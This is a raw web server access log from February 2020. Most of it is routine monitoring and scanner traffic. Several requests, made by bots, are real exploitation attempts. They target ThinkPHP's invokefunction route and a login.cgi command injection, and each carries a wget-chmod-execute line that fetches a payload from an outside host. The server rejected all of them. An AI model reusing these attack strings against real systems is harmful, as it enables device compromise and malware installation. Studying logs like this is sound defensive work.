222.137.176.204 - - [26/Feb/2020:10:42:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:10:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.113.161 - - [26/Feb/2020:10:44:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.105.174.116 - - [26/Feb/2020:10:46:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.64.255.206 - - [26/Feb/2020:10:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
27.64.255.206 - - [26/Feb/2020:10:48:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [26/Feb/2020:10:52:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:10:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.33.153.158 - - [26/Feb/2020:10:53:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:10:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [26/Feb/2020:10:54:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [26/Feb/2020:10:54:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:10:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [26/Feb/2020:10:54:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [26/Feb/2020:10:55:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [26/Feb/2020:10:55:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:10:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:10:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [26/Feb/2020:10:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:10:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.145.189.67 - - [26/Feb/2020:11:00:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.165.89.236 - - [26/Feb/2020:11:01:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:11:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:06:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:11:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:07:26 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
128.14.134.170 - - [26/Feb/2020:11:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:11:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.117.146.82 - - [26/Feb/2020:11:09:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:12:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:11:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:12:51 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [26/Feb/2020:11:13:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [26/Feb/2020:11:13:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:11:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:14:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:11:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [26/Feb/2020:11:15:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [26/Feb/2020:11:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.54.168.161 - - [26/Feb/2020:11:17:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
128.14.140.150 - - [26/Feb/2020:11:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [26/Feb/2020:11:19:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:11:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.22.158.89 - - [26/Feb/2020:11:20:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.103.238 - - [26/Feb/2020:11:28:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.117.12 - - [26/Feb/2020:11:35:38 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:39 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:39 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:40 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:40 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:40 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:41 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:41 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.235.117.12 - - [26/Feb/2020:11:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [26/Feb/2020:11:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [26/Feb/2020:11:36:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [26/Feb/2020:11:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [26/Feb/2020:11:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:11:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.191.181.25 - - [26/Feb/2020:11:40:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:11:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [26/Feb/2020:11:42:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:11:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.245.175.35 - - [26/Feb/2020:11:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
60.241.101.148 - - [26/Feb/2020:11:44:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:11:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [26/Feb/2020:11:51:50 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:11:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.12.219.22 - - [26/Feb/2020:11:57:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:11:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:11:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.48.186.153 - - [26/Feb/2020:11:59:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
24.170.52.108 - - [26/Feb/2020:11:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
24.170.52.108 - - [26/Feb/2020:11:59:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:11:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.212.90.2 - - [26/Feb/2020:12:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:12:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.243.151.64 - - [26/Feb/2020:12:16:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.141.28.1 - - [26/Feb/2020:12:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.157.206 - - [26/Feb/2020:12:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
